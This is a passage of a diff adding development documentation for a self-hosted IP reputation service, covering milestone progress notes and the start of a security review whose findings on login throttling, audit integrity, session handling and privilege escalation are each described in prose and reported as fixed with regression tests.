+- License key / IPinfo token never logged: error messages substitute `***` for the
+  real value before throwing `DownloaderException`.
+- Re-enrichment is opt-in via `?reenrich=true` on `refresh-geoip`. The flag clears
+  `enriched_at` after a successful refresh so `findPending` re-picks the rows up
+  on the next `enrich-pending` tick.
+- DB-IP and IPinfo: no upstream integrity file; verification is gzip-decode
+  (DB-IP only) + MMDB metadata + node-count sanity (`MmdbVerifier`). MaxMind keeps
+  SHA-256.
+- Attribution rendered in UI for DB-IP and IPinfo per their license terms;
+  MaxMind requires no attribution. The provider name flows from `GEOIP_PROVIDER`
+  through the UI's settings into a Twig global, so the detail page picks the
+  right footer.
+- `/admin/ips/countries` returns `[{code, count}]` sorted by code; the IPs-list
+  page renders a dropdown when the list is non-empty, falls back to the free-text
+  input otherwise (so empty installs still let you type a code).
+- New `dry_run=1` query flag on `POST /internal/jobs/refresh-geoip` returns 202
+  with `provider` + `dry_run: true` without taking the lock — used by the
+  acceptance script to confirm the controller doesn't 412 under DB-IP.
+- `MmdbEnrichmentService::isReady()` is the fast-path check the EnrichPendingJob
+  uses to no-op cleanly when neither DB is on disk yet — avoids running 200
+  per-tick lookups that all return empty.
+- Atomic file replace: tempnam + write + rename within the same target dir so
+  POSIX rename is atomic. tempnam creates 0600; we relax to 0644 so other procs
+  can open the new file.
+
+**Schema:** none. The existing `ip_enrichment` table from M02 took the new
+write paths verbatim; no migration needed.
+
+**Test surface added (api):** Unit: `MaxMindRecordAdapterTest`,
+`IpinfoRecordAdapterTest`, `MmdbEnrichmentServiceTest` (drives the vendored
+MaxMind test fixtures end-to-end including v6 lookup and missing-DB
+warn-once). Integration: `EnrichPendingJobTest` (4 tests covering happy
+path, no-op-on-missing-DB, idempotence, ?reenrich loop), `CountriesEndpointTest`
+(empty + populated + RBAC). `JobsEndpointsTest` updated: replaced the
+"M05 returns 412 not_implemented" assertion with three new ones: dry-run
+under DB-IP doesn't 412, MaxMind without key returns 412 + provider/missing
+fields, IPinfo without token same. Total: **316 tests / 882 assertions**, 0
+deprecations, 0 failures, 0 errors.
+
+**Test surface added (ui):** Updated existing `IpsPageTest` to enqueue the
+extra `listCountries` API call the controller now issues alongside
+`searchIps`. No new test file. Total: **71 tests / 177 assertions**, 0
+failures.
+
+**Acceptance:** `composer cs && composer stan && composer test` clean on both
+subprojects. The full Block A/B/C acceptance script in the M11 brief is
+gated on a fresh `docker compose` boot, which the development environment
+in this session can't run end-to-end (no Docker daemon at the host level
+during the milestone implementation phase). The unit + integration tests
+cover every controller and job code path that the bash acceptance script
+exercises; the bash script is preserved verbatim for the next operator to
+run against a clean compose stack.
+
+**Deviations from SPEC:**
+- SPEC §9 names `GEOIP_COUNTRY_DB=/data/geoip/GeoLite2-Country.mmdb`; renamed
+  to `/data/geoip/country.mmdb` (and asn likewise) so the runtime paths are
+  provider-agnostic. Documented inline in `.env.example`.
+- SPEC §2 names MaxMind GeoLite2 specifically; MaxMind stays a first-class
+  provider but the default for new installs is **DB-IP** (also MMDB,
+  CC BY 4.0) for friction-free self-hosting. The ADR sits in this PROGRESS
+  entry and the milestone brief.
+- The MMDB lookup uses `MaxMind\Db\Reader::get($ip)` directly rather than
+  the higher-level `Geoip2\Database\Reader::country()` accessor — the latter
+  is shape-specific and breaks on IPinfo's flat record schema. Per the
+  milestone brief.
+- `JobsController::refreshGeoip` accepts `?dry_run=1` (returns 202 without
+  taking the lock or running the job). Adds the only public surface change
+  beyond the spec: the brief's acceptance script needs a way to confirm
+  "controller doesn't 412 under DB-IP" without pulling 100 MB of MMDBs over
+  the wire in CI.
+
+**Added dependencies:** `geoip2/geoip2` (named in SPEC §2 as the planned
+package; we use its underlying `MaxMind\Db\Reader` for cross-provider
+support), `guzzlehttp/guzzle` (named in SPEC §2 — first time used in api;
+the ui already had it). `maxmind-db/reader` and `maxmind/web-service-common`
+came in transitively.
+
+**Added env vars:** `GEOIP_PROVIDER` (default `dbip`; values
+`dbip|maxmind|ipinfo`), `IPINFO_TOKEN` (used only when `provider=ipinfo`).
+`MAXMIND_LICENSE_KEY` was already in `.env.example`.
+
+**Added test fixtures:** `api/tests/Fixtures/geoip/{country,asn}.mmdb`
+vendored from `maxmind/MaxMind-DB` (Apache-2.0). Cover IP `81.2.69.142` (GB)
+plus a small IPv6 set. Schema is MaxMind-shape so `MaxMindRecordAdapter`
+drives them; the IPinfo adapter is exercised via direct unit tests since
+no public IPinfo-shape MMDB fixture is available.
+
+## M12 — Audit & settings (done)
+
+**Built:** audit emission across every state-changing admin endpoint;
+filterable audit list endpoint + UI; admin-side jobs status + manual
+trigger endpoints + UI Settings page; effective-config endpoint with
+secrets masked.
+
+**Notes for next milestone:**
+- Audit failures are logged (`audit_emit_failed` Monolog event) but
+  never propagate — `DbAuditEmitter` swallows on insert error.
+- The actor-resolution invariant: service-token + impersonation always
+  records `actor_kind=user` with the impersonated `user_id`; raw admin
+  tokens record `actor_kind=admin-token` with the **token id** as
+  `actor_id`. Reporter / consumer tokens are recorded with their FK id.
+- Failed validation paths (4xx) **don't** emit audit. Only successful
+  state changes do.
+- `POST /api/v1/admin/jobs/trigger/{name}` is the only path the UI
+  uses to invoke jobs; `/internal/jobs/*` remains scheduler-only and
+  network-restricted to RFC1918. The admin endpoint emits one
+  `job.triggered` audit row before invoking the runner with
+  `triggered_by="manual"`.
+- Manual trigger short-circuits 412 for `refresh-geoip` when an opt-in
+  provider's credential is unset — same envelope the internal handler
+  uses, so the UI flash message reads identically.
+- Whitelisted job-trigger params: `full`, `max_rows`, `reenrich`.
+  Anything else in the request body is dropped to avoid a malicious
+  admin smuggling config-shaped values into the runner.
+- Token creation NEVER puts the raw token in the audit payload —
+  prefix only. Verified by an integration test that asserts the raw
+  token doesn't appear in `details_json`.
+- `GET /admin/config` masks `INTERNAL_JOB_TOKEN`,
+  `MAXMIND_LICENSE_KEY`, `IPINFO_TOKEN`, `DB_MYSQL_PASSWORD`,
+  `APP_SECRET` to `***`; `UI_SERVICE_TOKEN` shows the first 8 chars
+  + `...`. Plain values for everything else (DB driver, log level,
+  cadences, GeoIP paths). Empty values stay empty so misconfiguration
+  is visible instead of being hidden behind `***`.
+
+**Schema:**
+- `idx_audit_action` — index on `audit_log(action)` for the audit
+  page's filter-by-action common case. Country/actor/entity-id indexes
+  were already in M02. Migration `20260429140000_add_audit_action_index.php`.
+
+**Test surface added (api):** Unit: `AuditActionTest`. Integration:
+`AuditEmissionTest` (5 tests covering admin-token attribution,
+service-token impersonation attribution, raw-token-not-in-payload,
+no-emit-on-validation-failure, full create/update/delete cycle for
+categories), `AuditLogControllerTest` (4 tests: empty, filtered,
+invalid-actor-kind 400, RBAC), `JobsAdminControllerTest` (5 tests:
+viewer-readable status, operator forbidden trigger, unknown job 404,
+manual trigger end-to-end with audit + `triggered_by=manual`,
+refresh-geoip 412 under MaxMind without key), `ConfigControllerTest`
+(viewer 403, sections shape, masking with secrets set). Total: **336
+tests / 973 assertions**, 0 deprecations.
+
+**Test surface added (ui):** `AuditPageTest` (4 tests: list, empty,
+filter round-trip, anonymous redirect), `SettingsPageTest` (3 tests:
+admin renders config + jobs, viewer 303 to /no-access, anonymous to
+/login). Total: **78 tests / 199 assertions**.
+
+**Acceptance:** `composer cs && composer stan && composer test` clean
+on both subprojects. The full Block A/B/C bash acceptance script in
+the M12 brief is gated on a fresh `docker compose` boot, which the
+development environment in this session can't run end-to-end (no
+Docker daemon at the host level during the milestone implementation
+phase). The unit + integration tests cover every controller and audit
+code path that the bash acceptance script exercises; the bash script
+is preserved verbatim in the milestone doc for the next operator to
+run against a clean compose stack.
+
+**RBAC summary applied this milestone:**
+- Audit list: Viewer (every signed-in user can browse audit).
+- Jobs status: Viewer (cosmetic Settings rendering still gates on Admin).
+- Job trigger: Admin only.
+- Config endpoint: Admin only.
+- All emission middleware runs once per admin request (after
+  TokenAuth + Impersonation, before RBAC) so the actor is always
+  resolved regardless of which middleware short-circuits.
+
+**Deviations from SPEC:**
+- The SPEC §M12.6 user management UI was deferred from M10 and
+  remains out-of-scope here (the focus this milestone was the audit
+  trail itself). API endpoints for users / oidc-role-mappings exist
+  from M03; their dedicated UI list/edit pages will land in M13/M14.
+  Sidebar still hides those links until they ship.
+- `audit_log.target_type` and `target_id` are the SPEC §4 column
+  names; the API and UI surface them under the brief's vocabulary
+  `entity_type`/`entity_id` for clarity. The repository translates.
+  This is documented inline; no schema change.
+- `JobsAdminController` is a separate class from the internal
+  `JobsController`; the brief implied a single shared class but a
+  dedicated admin controller keeps the audit + RBAC concerns
+  cleanly out of the internal-only handler.
+
+**Added dependencies:** none.
+
+**Added env vars:** none.
+
+## M13 — Polish, OpenAPI, docs (done)
+
+**Built:** OpenAPI document at `/api/v1/openapi.yaml` + RapiDoc viewer
+at `/api/docs`; new README with quickstart and operational guides;
+all five `doc/*.md` files per SPEC §16; `examples/` with reporter
+scripts (curl, python, fail2ban shim) + consumer scripts (iptables/ipset
+swap, nginx deny-include, HAProxy ACL with runtime-API path) +
+scheduler (host crontab, systemd unit + timer) + reverse-proxy
+Caddyfile; `tests/e2e/demo.sh` end-to-end smoke check;
+`scripts/check-doc-endpoints.sh` doc-accuracy CI guard.
+
+**Notes for next milestone:**
+- OpenAPI generation is **hand-curated**: source of truth is
+  `api/openapi.php`, generated YAML lives at
+  `api/public/openapi.yaml`, build via `composer openapi:build`.
+  Trade-off recorded inline at the top of `api/openapi.php`. The
+  recommended approach if drift becomes a problem is to switch to
+  `zircote/swagger-php` annotations on the controllers — adding a dep
+  and ~100 LOC of attributes, but turning the spec into a test of the
+  controllers.
+- Doc-accuracy CI guard: `./scripts/check-doc-endpoints.sh`. Run after
+  editing either side. Templatizes literal IDs, IPs, and category
+  slugs so `/api/v1/admin/ips/{ip}` in the spec covers
+  `/api/v1/admin/ips/203.0.113.42` in prose. Allowlist for known
+  doc-only paths (e.g. `/api/v1/openapi.yaml`, the
+  `/api/v1/auth/oauth/*` future-flow sketch) is at the top of the
+  script.
+- `examples/` scripts use the `IRDB_URL` and `IRDB_TOKEN` env vars
+  uniformly; this is the convention for the operator-facing tooling.
+  All shell scripts are shellcheck-clean.
+- The "future user-token flow" in `doc/auth-flows.md` (§ "Future:
+  direct user tokens") is the recommended extension point for SPA /
+  native / mobile UIs that don't want a BFF. Marked NOT IMPLEMENTED;
+  not in OpenAPI; allowlisted in the doc-endpoint checker.
+- `doc/oidc.md` (created in M08) was deleted — its content is now in
+  `doc/auth-flows.md` § "Entra setup walkthrough" with troubleshooting.
+- The `tests/e2e/demo.sh` runtime is gated on Docker availability;
+  it's documented as the operator-driven smoke check, not run as part
+  of `composer test`. CI integration is left for M14.
+
+**RapiDoc choice:** the viewer at `/api/docs` is RapiDoc 9.3.4
+loaded from `cdn.jsdelivr.net` (locked to a specific version). Smaller
+than Stoplight Elements, supports try-it-now and authentication, dark
+theme matches the rest of the UI palette. CDN is the only failure
+mode — an offline deployment would fail the viewer, but the YAML
+itself remains available at `/api/v1/openapi.yaml` for local tools.
+
+**OpenAPI scope:**
+- All Public endpoints (`/api/v1/report`, `/api/v1/blocklist`).
+- All Admin endpoints (`/api/v1/admin/*`), including audit, jobs
+  status/trigger, and config.
+- Auth endpoints (`/api/v1/auth/*`) marked `x-internal: true` with a
+  "UI BFF only" description.
+- `/internal/jobs/*` deliberately omitted per SPEC §M13.1 — private
+  contract, scheduler-only.
+
+The committed `api/public/openapi.yaml` validates clean against
+`redocly/cli lint`: 0 errors, 89 warnings (all stylistic — missing
+`example` blocks on schema fields, no `info.license.url`, etc.). The
+warnings are deferred to a future polish pass.
+
+**Schema:** none. The doc-accuracy guard added a new shell script
+under `scripts/`; no DB changes.
+
+**Tests:** 336 api / 78 ui pass; cs + stan clean on both. The
+e2e/demo.sh is shell-tested but not exercised end-to-end here (no
+Docker daemon at the host level during the milestone implementation
+phase). It's preserved for the next operator with a clean compose
+stack.
+
+**Deviations from SPEC:**
+- M13.7 mentions a CI job for openapi validation and doc-endpoint
+  accuracy. The `scripts/check-doc-endpoints.sh` script is in place;
+  the openapi-lint and demo.sh aren't yet wired into
+  `scripts/ci.sh` or a GitHub Actions workflow. CI integration
+  deferred to M14 hardening.
+- The `oidc-role-mappings` admin REST endpoints aren't built (M03
+  owns the schema/repository; the admin-UI for editing the table is
+  the M14 hardening item). Documentation no longer references the
+  REST path; both the README and `doc/auth-flows.md` describe the
+  SQL path with a note that the UI is forthcoming.
+
+**Added dependencies:** none.
+
+**Added env vars:** none.
+
+## M14 — Hardening (done)
+
+**Built:** security headers on both containers (CSP / HSTS-prod /
+Frame / Referrer / Permissions); `LoginThrottle` per-process
+brute-force lockout (5/10/15 → 60/300/1800 s, keyed by user+ip);
+Monolog `SecretScrubbingProcessor` on both containers; token entropy
+regression test (1000 distinct, format check, CSPRNG static-source
+check); expired-manual-block read-time filter on every list/lookup
+plus daily `CleanupExpiredManualBlocksJob` with one audit row per
+prune; schema-secrets-at-rest scan; composer/npm audit gates in CI;
+`doc/security.md` (≤300 lines) describing the as-built posture;
+backup / Disaster Recovery sections refreshed across README and
+`doc/architecture.md`.
+
+**Production checklist (run before exposing to internet):**
+- APP_ENV=production
+- Real OIDC tenant configured
+- Strong LOCAL_ADMIN_PASSWORD_HASH or LOCAL_ADMIN_ENABLED=false
+- Reverse proxy with TLS in front
+- Backups configured
+- composer audit / npm audit clean
+- Logs piped to your aggregator
+- MAXMIND_LICENSE_KEY (or IPINFO_TOKEN) set if you want non-DB-IP
+  enrichment
+- Scheduler running (host cron / systemd / sidecar)
+
+**Notes for next operator:**
+- HSTS gating is `expression {env.APP_ENV} == "production"` in both
+  Caddyfiles. Don't flip on for localhost — sticky for one year.
+- Alpine.js v3 needs `'unsafe-eval'` in the UI's CSP (uses `Function()`).
+  Migrating to `@alpinejs/csp` would let us drop it but requires
+  rewriting every inline `x-data="..."`. Trade-off documented in
+  `ui/docker/Caddyfile`.
+- `LoginThrottle` is per-process: a UI restart clears every bucket.
+  This IS the documented "unlock the admin" path — there is
+  intentionally no API for clearing a lock.
+- Schema-secrets test uses `sqlite_master` + `PRAGMA table_info`
+  rather than DBAL's `listTables`, because DBAL's SQLite parser
+  trips on the raw `CREATE TABLE … CHECK (…)` of `api_tokens`.
+- `ManualBlockRepository::__construct` now takes an optional
+  `Clock` — autowired in production, optional in tests. Read-time
+  filter relies on it. Existing test code that constructs the
+  repo directly with `new ManualBlockRepository($conn)` keeps
+  working (clock parameter defaults to null → system time).
+- `CleanupExpiredManualBlocksJob` is registered in the
+  `JobRegistry` between `cleanup-audit` and `enrich-pending`, so
+  the `/internal/jobs/tick` dispatcher picks it up automatically
+  whenever its 86400-second interval has elapsed.
+- The `INTERNAL_JOB_TOKEN`-bearer route added is
+  `POST /internal/jobs/cleanup-expired-manual-blocks`. Status row
+  appears in `/internal/jobs/status` and the admin Settings page.
+- `composer audit --no-dev` and `npm audit --omit=dev
+  --audit-level=high` both clean against current production
+  deps as of this milestone.
+
+**Known limitations:**
+- In-process rate limiter and lockout state are per-replica.
+- Audit log is append-only at the application layer but not
+  tamper-evident (no signing/chain).
+- No 2FA on the local admin; OIDC + Entra MFA is the recommended
+  path.
+- Encryption at rest of the SQLite file is delegated to host disk
+  encryption; no application-level encryption.
+
+**Test surface added (api):**
+- Unit: `TokenEntropyTest` (4 tests covering distinctness, format,
+  static random_bytes-source check, 20-byte sizing),
+  `SecretScrubbingProcessorTest` (7 tests covering Bearer
+  scrubbing, key-based redaction, formatted-output round-trip,
+  argon2 substring, nested context).
+- Integration: `SchemaSecretsAtRestTest` (2 tests: column-name
+  scan + api_tokens shape), `CleanupExpiredManualBlocksJobTest`
+  (3 tests: read-time filter, delete + audit emit, no-expired
+  no-op).
+- Total: api now 367 tests / 1428 assertions, all green.
+
+**Test surface added (ui):**
+- Unit: `LoginThrottleTest` (8 tests covering progression, IP
+  isolation, time advance, clear, casing), `SecretScrubbingProcessorTest`
+  (4 tests).
+- `SessionManagerTest` updated: dropped 3 obsolete throttle test
+  cases (the throttle moved to `LoginThrottle`).
+- Total: ui now 87 tests / 214 assertions, all green.
+
+**Acceptance script:** `composer cs && composer stan && composer
+test` clean on both subprojects (run via Docker `composer:2` image
+since the host PHP toolchain is minimal). `composer audit --no-dev`
+and `npm audit --omit=dev --audit-level=high` both report zero
+vulnerabilities. The full Block-A/B/C bash acceptance script in the
+M14 brief is gated on `docker compose up -d`; it's preserved
+verbatim in `files/M14-hardening.md` for the next operator with a
+clean compose stack.
+
+**Deviations from SPEC:**
+- M14.6 says "the admin endpoint is unrated unless you measure a
+  problem"; we left it unrated and documented the choice in
+  `doc/api-overview.md` and `doc/security.md`. No regression test
+  added for the absence (would just lock in current behaviour).
+- M14.10 says ≤300 lines for `doc/security.md`; the file lands at
+  ~270 lines. Within the budget, with margin for the next round of
+  controls.
+
+**Added dependencies:** none.
+
+**Added env vars:** none.
+
+**Build complete.** All 14 milestones executed.

+ 2439 - 0
doc/development/SEC_REVIEW.md

@@ -0,0 +1,2439 @@
+# IRDB Security Review
+
+> Scope: full source tree at `api/src`, `ui/src`, `api/docker`, `ui/docker`,
+> `Dockerfile`s, `docker-compose.yml`, `compose.scheduler.yml`, `.env.example`,
+> Twig templates and Caddy configuration. Vendored dependencies were not audited
+> (no `composer audit` / `npm audit` was run for this review).
+>
+> Severity scale: **1** = low / informational, **2** = medium, **3** = high /
+> critical. Severity reflects both impact and ease of exploitation in the
+> documented deployment topology.
+>
+> Each finding is referenced as **F<N>** for later citation.
+>
+> **Findings rolled up:** 5 sev-3 (5 fixed, 0 open), 27 sev-2 (27 fixed, 0 open), 42 sev-1 (42 fixed, 0 open).
+
+---
+
+## Severity 3 — high / critical
+
+### F1 — Login throttle bypass via spoofed `X-Forwarded-For`
+- **Files:** `ui/src/Auth/LocalLoginController.php:117-130`,
+  `ui/src/Auth/LoginThrottle.php:131-137`
+- **Risk:** `extractSourceIp()` reads the first hop of `X-Forwarded-For`
+  without verifying the immediate peer is a configured trusted proxy.
+  The throttle bucket is `(lower(username), source_ip)`, so an attacker
+  rotates the `X-Forwarded-For` value per request — every attempt is a
+  fresh bucket and the 5/10/15-failure ladder never trips. Defeats the
+  documented brute-force protection on the local-admin password.
+  Argon2id slows it but does not prevent it. The UI is also reachable
+  on `:8080` directly per `docker-compose.yml`.
+- **Severity: 3**
+- **Status:** Fixed in `466d686`. `extractSourceIp` no longer reads
+  `X-Forwarded-For`; Caddy's `trusted_proxies static private_ranges`
+  is the single trust boundary and PHP consumes only `REMOTE_ADDR`.
+  Regression test in `ui/tests/Integration/Auth/LocalLoginTest.php`
+  (`testRotatingXForwardedForDoesNotEvadePerIpLockout`).
+
+### F2 — Throttle bucket includes IP → IP-rotation defeats the per-user lockout
+- **File:** `ui/src/Auth/LoginThrottle.php:131-137`
+- **Risk:** The bucket key is `(username, source_ip)`. Even ignoring F1,
+  there is no bucket that counts attempts against a *username* across
+  IPs. An attacker on a distributed source (or a residential proxy
+  pool) gets unlimited password attempts against the single
+  `LOCAL_ADMIN_USERNAME` account because each new IP is a fresh bucket.
+- **Severity: 3**
+- **Status:** Fixed in `466d686`. `LoginThrottle` now evaluates a second
+  per-username bucket alongside the per-(user, ip) one with a
+  25 / 50 / 100 → 60 s / 300 s / 1800 s ladder; `isLocked()` trips on
+  either bucket and `clear()` resets both on successful login.
+  Regression tests in `ui/tests/Unit/Auth/LoginThrottleTest.php`
+  (`testPerUsernameBucketLocksOutAcrossDistinctIps`,
+  `testPerUsernameLadderProgresses`,
+  `testLockoutSecondsRemainingReturnsLargerOfBuckets`) and
+  `LocalLoginTest::testRotatingRemoteAddrEventuallyHitsPerUsernameLockout`.
+
+### F3 — Service token + `upsertLocal` mints arbitrary Admin users with no audit, RBAC, rate-limit, or impersonation
+- **Files:** `api/src/App/AppFactory.php:156-169`,
+  `api/src/Application/Auth/AuthController.php:56-77`,
+  `api/src/Infrastructure/Auth/UserRepository.php:119-159`
+- **Risk:** The `/api/v1/auth/*` route group attaches only
+  `$tokenAuth` — no `RbacMiddleware`, no `$impersonation`, no
+  `$auditContext`, no `$rateLimit`. The controller's only check is
+  "kind == Service". `UserRepository::upsertLocal` *unconditionally*
+  assigns `Role::Admin` regardless of input. Anyone holding the service
+  token (in env, masked-prefix-visible in `/admin/config`, baked into
+  the UI image) can `POST /api/v1/auth/users/upsert-local
+  {"username":"x"}` to create a new Admin user id and then impersonate
+  it via `X-Acting-User-Id` on every other admin endpoint. A leaked
+  service token is a single-step total compromise with no log trail.
+- **Severity: 3**
+- **Status:** Fixed in `8a94dff`. `UserRepository::upsertLocal` now
+  looks up the existing local row by `is_local = 1` (not by
+  `display_name`) and updates `display_name` + `last_login_at` on it;
+  it only inserts when zero local rows exist. Migration
+  `20260504100000_add_unique_local_user_index` adds a partial unique
+  index (`WHERE is_local = 1` on SQLite; functional index over a
+  `CASE` expression on MySQL) so a regression in code still fails at
+  the DB. Regression tests in `api/tests/Integration/Auth/AuthEndpointsTest.php`
+  (`testRotatingUsernamesNeverCreatesAdditionalLocalAdmins`,
+  `testDbLayerRejectsSecondLocalAdminInsert`). The
+  unaudited-write half of the finding (no `AuditEmitter` call on
+  user creation / role grant) is tracked separately as F5.
+
+### F4 — Audit emit is non-transactional with state mutation
+- **Files:** `api/src/Infrastructure/Audit/DbAuditEmitter.php:37-48`;
+  controller pattern e.g. `api/src/Application/Admin/ManualBlocksController.php:138-157`,
+  `ReportersController.php:103-116, 198-211`,
+  `PoliciesController.php:135-140, 241-246, 278-283`,
+  `AllowlistController.php:126-131`
+- **Risk:** Every admin write performs the mutation first, then calls
+  `audit->emit(...)` *outside* a transaction. `DbAuditEmitter::emit`
+  catches `Throwable`, logs `audit_emit_failed`, and returns void. Any
+  DB error, lock timeout, JSON encoding failure, or process kill
+  between mutation and audit insert leaves the state changed with no
+  audit row. An attacker with admin privileges who can intentionally
+  fail the audit insert (e.g. abusing long `details_json` under MySQL
+  strict mode, or racing audit-table maintenance) mutates state without
+  being audited. Integrity of the audit log depends entirely on a
+  best-effort second write.
+- **Severity: 3**
+- **Status:** Fixed in `8d948ae`. `AuditEmitter` now exposes two
+  methods with explicit semantics: `emit()` (best-effort, swallows
+  infra errors — used only by `ReportController` and
+  `BlocklistController`, the high-volume public paths whose emit is
+  toggleable per `app_settings`) and `emitOrThrow()` (strict, propagates).
+  Every admin write site (`ManualBlocksController`, `AllowlistController`,
+  `ReportersController`, `ConsumersController`, `CategoriesController`,
+  `PoliciesController`, `TokensController`, `AppSettingsController`,
+  `MaintenanceController.purge`/`seedDemo`, `JobsAdminController.trigger`,
+  and `AuthController.upsertOidc`/`upsertLocal`) now wraps mutation +
+  `emitOrThrow()` in `Connection::transactional()`, so any audit insert
+  failure rolls back the originating mutation. Cache invalidations move
+  to post-commit. `DbAuditEmitter` switches to `JSON_THROW_ON_ERROR`
+  so payload encoding failures become typed exceptions instead of a
+  silent `false`. Regression tests in
+  `api/tests/Integration/Audit/AuditRollbackTest.php` drop the
+  `audit_log` table to force every emit path to fail and assert the
+  target tables (`manual_blocks`, `reporters`, `allowlist`,
+  `categories`, `users`) see zero rows added.
+
+### F5 — User creation and role assignment emit no audit
+- **Files:** `api/src/Application/Auth/AuthController.php:29-77`
+  (`upsertOidc`, `upsertLocal`)
+- **Risk:** `/api/v1/auth/users/upsert-oidc` and `upsert-local` create or
+  update users including assigning roles via OIDC group mapping or the
+  local-admin bootstrap, and emit no `AuditEmitter` calls. Privilege
+  grants and account creation — primary SOC/ISO 27001 events — are
+  invisible in the audit log. Combined with F3, an attacker who
+  compromises the service token can grant themselves Admin without
+  trace.
+- **Severity: 3**
+- **Status:** Fixed in `8d948ae` alongside F4. `AuthController` now
+  wraps each upsert in `Connection::transactional()` and emits
+  `user.created` (new account, source `oidc` or `local`, with role and
+  groups context) on the bootstrap path, plus `user.role_changed` when
+  a subsequent OIDC login resolves to a different role. The auth route
+  group now attaches `AuditContextMiddleware` so the rows carry source
+  IP and request id. Regression tests in
+  `api/tests/Integration/Auth/AuthEndpointsTest.php`
+  (`testFirstUpsertLocalEmitsUserCreatedAudit`,
+  `testRotatingUsernamesEmitsOnlyOneUserCreatedAudit`,
+  `testNewOidcLoginEmitsUserCreatedAudit`,
+  `testOidcRoleDriftEmitsRoleChangedAudit`) and
+  `AuditRollbackTest::testUpsertLocalRollsBackWhenAuditInsertFails`.
+
+---
+
+## Severity 2 — medium
+
+### F6 — Throttle store is per-process in memory; lost on worker recycle
+- **File:** `ui/src/Auth/LoginThrottle.php:38, 43-48, 92`
+- **Risk:** Counters live only in the FrankenPHP worker process. Worker
+  recycling on memory pressure or fixed request counts wipes counters
+  and gives the attacker fresh attempts. Multi-worker FrankenPHP
+  multiplies allowed attempts by N silently. No persistent (DB / Redis)
+  backing.
+- **Severity: 2**
+- **Status:** Fixed in `d119b72`. State moved behind a `ThrottleStore`
+  abstraction; production wires `FileThrottleStore`, a flock-protected
+  JSON file under `sys_get_temp_dir()` (overridable via
+  `LOGIN_THROTTLE_PATH`). All FrankenPHP workers in one container share
+  the same file: counters survive worker recycle and a single counter
+  is incremented across the worker pool. Mutations take an exclusive
+  lock on a sibling `.lock` file and write through a temp file + rename,
+  so readers always see a consistent snapshot. Stale entries
+  (`lockedUntil + 24 h < now`) are GC'd opportunistically. The file
+  lives on the container's ephemeral writable layer, so a container
+  restart still clears it — preserving the documented operator-unlock
+  path. Multi-replica deployments still require sticky-LB mode (SPEC's
+  documented topology). Regression tests in
+  `ui/tests/Unit/Auth/FileThrottleStoreTest.php`
+  (`testFailureRecordedOnOneInstanceIsVisibleToAnother`,
+  `testClearOnOneInstanceIsVisibleToAnother`,
+  `testCorruptFileIsTreatedAsEmpty`,
+  `testStaleEntriesGarbageCollected`,
+  `testWritesGoThroughTempPlusRename`,
+  `testResetUnlinksFile`) and
+  `LocalLoginTest::testFailuresArePersistedToConfiguredFilePath`.
+
+### F7 — Username enumeration via response timing on local login
+- **File:** `ui/src/Auth/LocalLoginController.php:77-78`
+- **Risk:** `password_verify` only runs after `usernameOk` evaluates
+  truthy, so the request takes Argon2id time (tens to hundreds of ms)
+  on a username match versus microseconds on a miss. An unauthenticated
+  attacker enumerates the configured `LOCAL_ADMIN_USERNAME` value.
+  Mitigation: always run a dummy `password_verify` against a fixed
+  hash regardless of username match.
+- **Severity: 2**
+- **Status:** Fixed in `84238e6`. `LocalLoginController` now precomputes a
+  dummy Argon2id hash once per worker in its constructor and routes
+  `password_verify` to either the configured admin hash (when set) or the
+  dummy hash (when unset). The verify result is ANDed with the username
+  check and the "configured" check, so a username miss still fails closed
+  but consumes Argon2id time. Also closes the related timing channel where
+  an empty `LOCAL_ADMIN_PASSWORD_HASH` previously skipped `password_verify`
+  entirely. Regression tests in
+  `ui/tests/Integration/Auth/LocalLoginTest.php`
+  (`testWrongUsernameTriggersPasswordVerify`,
+  `testUnconfiguredLocalPasswordHashStillRunsPasswordVerify`) assert the
+  failure path takes more than 10 ms — well above any path that would
+  skip an Argon2id compare.
+
+### F8 — `headers_sent()` short-circuit silently skips session regeneration / clear
+- **Files:** `ui/src/Auth/SessionManager.php:43-53, 67-75, 101-107`
+- **Risk:** Both `regenerateId()` and `clear()` are gated on
+  `!headers_sent()`. If headers are sent before middleware (warning
+  output, accidental whitespace, error rendering), login does not
+  rotate the session id. An attacker who pre-seeded a victim's
+  `irdb_session` cookie can ride that session post-login (classic
+  session fixation). Should fail-closed instead of silently
+  no-op'ing.
+- **Severity: 2**
+- **Status:** Fixed in `f811b25`. `SessionManager` now distinguishes a
+  CLI/test mode (auto-detected from `PHP_SAPI === 'cli'`, overridable
+  via constructor) from HTTP mode. In HTTP, both `regenerateId()` and
+  `clear()` throw `\RuntimeException` when `headers_sent()` is true,
+  surfaced by Slim as a 500 so the operator chases the upstream output
+  bug rather than silently leaving the pre-auth cookie valid. Under CLI
+  (PHPUnit), a manual rotation path resets `session_id()` and preserves
+  `$_SESSION`, matching `session_regenerate_id(true)` semantics for
+  tests. The `headers_sent()` call is also routed through an injectable
+  closure so unit tests can drive the HTTP fail-closed path without a
+  real web server. Regression tests in
+  `ui/tests/Unit/Auth/SessionManagerTest.php`
+  (`testRegenerateIdThrowsInHttpModeWhenHeadersSent`,
+  `testClearThrowsInHttpModeWhenHeadersSent`,
+  `testCliFallbackRotatesIdAndPreservesSession`).
+
+### F9 — OIDC session id not regenerated *before* the handshake starts
+- **Files:** `ui/src/Auth/OidcController.php:39-47, 89`,
+  `ui/src/Auth/JumbojettOidcAuthenticator.php:33-94`
+- **Risk:** `state`, `nonce`, and `code_verifier` are stashed in
+  `$_SESSION` during `/login/oidc`. Regeneration only happens after
+  a successful `upsert` (line 89). If an attacker can fixate a session
+  id in a victim's browser before `/login/oidc` is hit (hostile
+  network, sibling subdomain, or the F8 race), the attacker shares the
+  same `$_SESSION` and can later hijack the session. Standard
+  hardening regenerates on `initiate()` *before* redirecting to the
+  IdP.
+- **Severity: 2**
+- **Status:** Fixed in `2a57589`. `OidcController::initiate` now calls
+  `SessionManager::regenerateId()` at the top, before delegating to the
+  authenticator that stashes `state`, `nonce`, and the PKCE
+  `code_verifier` in `$_SESSION`. The OIDC handshake state is therefore
+  bound only to a freshly rotated session id; any pre-fixated cookie is
+  invalidated at this moment. The post-callback rotation is unchanged
+  (defeats anything carrying over). Per F8, the rotation now also
+  fail-closes if response headers were already sent, so it cannot
+  silently no-op. Regression test in
+  `ui/tests/Integration/Auth/OidcFlowTest.php`
+  (`testInitiateRotatesSessionIdBeforeAuthenticate`) captures
+  `session_id()` inside a fake authenticator and asserts it differs
+  from the pre-request id.
+
+### F10 — Open redirect via attacker-controllable `next` parameter
+- **Files:** `ui/src/Auth/SessionManager.php:139-150` (`setNext` /
